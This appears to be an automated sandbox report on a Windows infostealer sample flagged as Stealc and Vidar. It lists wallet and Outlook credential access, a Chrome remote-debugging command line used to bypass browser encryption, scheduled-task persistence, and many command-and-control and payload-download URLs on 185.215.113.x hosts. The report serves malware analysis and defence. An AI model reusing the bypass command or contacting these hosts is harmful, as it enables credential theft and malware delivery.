Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\JDGIECGIEB.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match	File source: 0.2.file.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1978262092.00000000006DC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7560, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1979370069.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1978262092.0000000000611000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7560, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7560, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC20C40 sqlite3_bind_zeroblob,	0_2_6CC20C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC20D60 sqlite3_bind_parameter_name,	0_2_6CC20D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB48EA0 sqlite3_clear_bindings,	0_2_6CB48EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC20B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CC20B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46410 bind,WSAGetLastError,	0_2_6CB46410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB460B0 listen,WSAGetLastError,	0_2_6CB460B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4C030 sqlite3_bind_parameter_count,	0_2_6CB4C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46070 PR_Listen,	0_2_6CB46070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CB4C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD22D0 sqlite3_bind_blob,	0_2_6CAD22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB463C0 PR_Bind,	0_2_6CB463C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB49480 sqlite3_bind_null,	0_2_6CB49480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB494F0 sqlite3_bind_text16,	0_2_6CB494F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB494C0 sqlite3_bind_text,	0_2_6CB494C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB49400 sqlite3_bind_int64,	0_2_6CB49400

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	237 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\Documents\JDGIECGIEB.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1012962001\931e3b56d4.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\JDGIECGIEB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.16/luma/random.exe2962001	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe9oX	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/softokn3.dll:oH	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllct	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php003	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpUE	100%	Avira URL Cloud	malware
http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce90ui	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpt8	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpc60ab594776c83eaa9bd06ecc7f8	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe450	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe))	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exerlencodedU)	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dllCu	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpL8	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dll)o	100%	Avira URL Cloud	malware
http://185.215.113.206BFHming	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllX	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php.L	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllOt	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe61395d	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/freebl3.dll-u	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllwo	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www3.l.google.com	172.217.19.206	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
www.google.com	216.58.208.228	true	false	high
ogs.google.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1608148634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, GHDAAKJE.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllct	file.exe, 00000000.00000002.1979370069.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.2060	file.exe, 00000000.00000002.1979370069.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1608148634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, GHDAAKJE.0.dr	false		high
http://www.broofa.com	chromecache_103.5.dr	false		high
http://185.215.113.16/luma/random.exe2962001	skotes.exe, 00000014.00000002.2647162838.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php003	file.exe, 00000000.00000002.1979370069.0000000000BB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exe9oX	skotes.exe, 00000014.00000002.2647162838.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exehp	skotes.exe, 00000014.00000002.2647162838.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpc60ab594776c83eaa9bd06ecc7f8	file.exe, 00000000.00000002.1978262092.0000000000777000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpt8	skotes.exe, 00000014.00000002.2647162838.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1608148634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, GHDAAKJE.0.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	GHDBKFHIJKJKECAAAECA.0.dr	false		high
http://185.215.113.16/luma/random.exe450	skotes.exe, 00000014.00000002.2647162838.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpUE	file.exe, 00000000.00000002.1999524290.00000000233AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exe	skotes.exe, 00000014.00000002.2647162838.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dll:oH	file.exe, 00000000.00000002.1979370069.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce90ui	skotes.exe, 00000014.00000002.2647162838.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	chromecache_103.5.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllCu	file.exe, 00000000.00000002.1979370069.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php4	skotes.exe, 00000014.00000002.2647162838.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1608148634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, GHDAAKJE.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dll)o	file.exe, 00000000.00000002.1979370069.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phprowser	file.exe, 00000000.00000003.1743257678.0000000000BB6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllX	file.exe, 00000000.00000002.1979370069.0000000000BB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://apis.google.com	chromecache_103.5.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php(	skotes.exe, 00000014.00000002.2647162838.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exerlencodedU)	skotes.exe, 00000014.00000002.2647162838.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exe))	skotes.exe, 00000014.00000002.2647162838.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpL8	skotes.exe, 00000014.00000002.2647162838.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2005412674.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1996036540.000000001D259000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2008434373.000000006FE3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php.L	file.exe, 00000000.00000002.1999524290.00000000233AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1608148634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, GHDAAKJE.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	KFCFBAAEHCFHJJKEHJKJDHJDGI.0.dr	false		high
http://185.215.113.206BFHming	file.exe, 00000000.00000002.1978262092.0000000000777000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1608148634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, GHDAAKJE.0.dr	false		high
http://185.215.113.16/luma/random.exe61395d	skotes.exe, 00000014.00000002.2647162838.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php/	file.exe, 00000000.00000003.1743257678.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllOt	file.exe, 00000000.00000002.1979370069.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000002.1999524290.00000000233A1000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1608148634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, GHDAAKJE.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KFCFBAAEHCFHJJKEHJKJDHJDGI.0.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	file.exe, 00000000.00000002.1999524290.00000000233A1000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php6	file.exe, 00000000.00000003.1608261081.0000000000BD0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743257678.0000000000BD0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1608148634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, GHDAAKJE.0.dr	false		high
http://185.215.113.16/	skotes.exe, 00000014.00000002.2647162838.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_103.5.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1999524290.00000000233A1000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpG	file.exe, 00000000.00000003.1743257678.0000000000BB6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979370069.0000000000BB6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpE	file.exe, 00000000.00000003.1743257678.0000000000BD0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000002.1999524290.00000000233A1000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	file.exe, 00000000.00000002.1999524290.00000000233A1000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1999524290.00000000233A1000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpO	file.exe, 00000000.00000003.1608261081.0000000000BD0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743257678.0000000000BD0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpi	skotes.exe, 00000014.00000002.2647162838.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org	KFCFBAAEHCFHJJKEHJKJDHJDGI.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll-u	file.exe, 00000000.00000002.1979370069.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206	file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1978262092.0000000000777000.00000040.00000001.01000000.00000003.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1608148634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, GHDAAKJE.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllwo	file.exe, 00000000.00000002.1979370069.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.19.206	www3.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
216.58.208.228	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.8
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570634
Start date and time:	2024-12-07 15:05:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@38/60@6/8
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.19.238, 64.233.162.84, 172.217.17.78, 192.229.221.95, 172.217.19.202, 172.217.17.74, 142.250.181.106, 142.250.181.42, 172.217.19.170, 172.217.17.42, 142.250.181.138, 216.58.208.234, 172.217.19.234, 172.217.19.10, 199.232.214.172
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 7560 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:06:37	API Interceptor	244x Sleep call for process: file.exe modified
09:08:01	API Interceptor	88x Sleep call for process: skotes.exe modified
15:07:07	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.16/well/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
